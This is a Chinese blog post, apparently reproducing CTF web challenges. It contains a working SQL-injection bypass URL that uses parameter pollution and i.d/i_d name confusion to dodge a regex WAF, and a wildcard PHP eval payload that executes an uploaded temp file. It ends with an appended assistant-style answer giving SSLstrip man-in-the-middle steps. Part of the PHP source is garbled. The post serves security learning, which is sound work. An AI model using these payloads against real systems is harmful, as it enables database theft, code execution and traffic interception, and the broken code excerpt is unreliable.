渗透学习之漏洞复现

贷齐乐的漏洞复现

<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }
/
  }
  // 经过第二个WAF处理
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  //i_d=1&i.d=aaaaa&submit=1
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }
  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysqli_query($sql);
      while($row = mysqli_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['name'] . "</td>";
          echo "</tr>";
      }
  }
?>

过滤的关键就在于这个:

preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);

在这里插入图片描述
1)hpp全局污染,php接受相同参数。取后者

2)i.d在php中$_REQUEST,自动转为i_d,而 $request_uri 接收i.d就是i.d

3)注入绕过 =(like) 单引号(十六进制) 空格(/**/)

第二个Wuf的绕过:

http://127.0.0.1/daiqile/index.php?submit=aaaaaaa&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=1 

在这里插入图片描述

RCE

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

查看源代码后,发现有防范,那么应该如何去绕过呢?

 if(strlen($code)>35   
 if(preg_match("/[A-Za-z0-9_$]+/",$code)){

这里的两条限制了长度,限制了字母和数字
这里我们运用临时文件去做一个绕过,编写一个HTML文件

在这里插入图片描述
然后咋们去进行burpsuit抓包,将抓到的包放入repeater里面
在这里插入图片描述
在这里插入图片描述
然后就是最重要的一点,就是看我最上面的红框,写入绕过代码:

?code=?><?=`.+/???/????????[@-[]`;?>

这个代码在burp中可以这样写,但是在页面的搜索框中输入的话,要将其编码
转换成编码应该是这个:

3F%3E%3C%3F%3D%60%2E%2B%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40%2D%5B%5D%60%3B%3F%3E

最后就实现了
在这里插入图片描述

你好!对于SSLstrip漏洞复现,我可以为你提供一些基本步骤和说明。请注意,这是一个仅用于学习和测试目的的过程,不应用于非法活动。 要复现SSLstrip漏洞,你可以按照以下步骤进行操作: 1. 确保你拥有一台运行Kali Linux或类似渗透测试工具的机器。你可以在虚拟机中安装Kali Linux或使用现成的渗透测试发行版。 2. 首先,确保你的机器上已经安装了必要的工具,包括sslstrip和iptables。你可以通过在终端中运行以下命令来安装它们: ``` sudo apt-get update sudo apt-get install sslstrip iptables ``` 3. 确保你的机器上启用了IP转发功能。你可以通过编辑`/etc/sysctl.conf`文件并取消注释以下行来启用它: ``` net.ipv4.ip_forward=1 ``` 然后,保存文件并运行以下命令使更改生效: ``` sudo sysctl -p ``` 4. 现在,你需要将你的机器设置为中间人攻击。这可以通过在终端中运行以下命令来实现: ``` sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listen_port> ``` 注意将`<listen_port>`替换为你想要监听的端口号。 5. 启动sslstrip工具,监听指定的端口。在终端中运行以下命令: ``` sslstrip -l <listen_port> ``` 6. 现在,你可以配置受害者设备以连接到你的机器。这可以通过将受害者设备的代理设置为你的机器IP和监听端口来实现。 7. 当受害者设备尝试访问一个使用HTTP而不是HTTPS的网站时,sslstrip将拦截并转发所有流量,将HTTPS请求转换为HTTP请求,并将敏感信息暴露给攻击者。 请记住,这仅是一个演示目的的示例,旨在帮助你了解SSLstrip漏洞的工作原理。请确保在合法和道德的范围内使用这些知识,并遵守适用法律和道德准则。 希望对你有所帮助!如果你还有其他问题,请随时提问。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值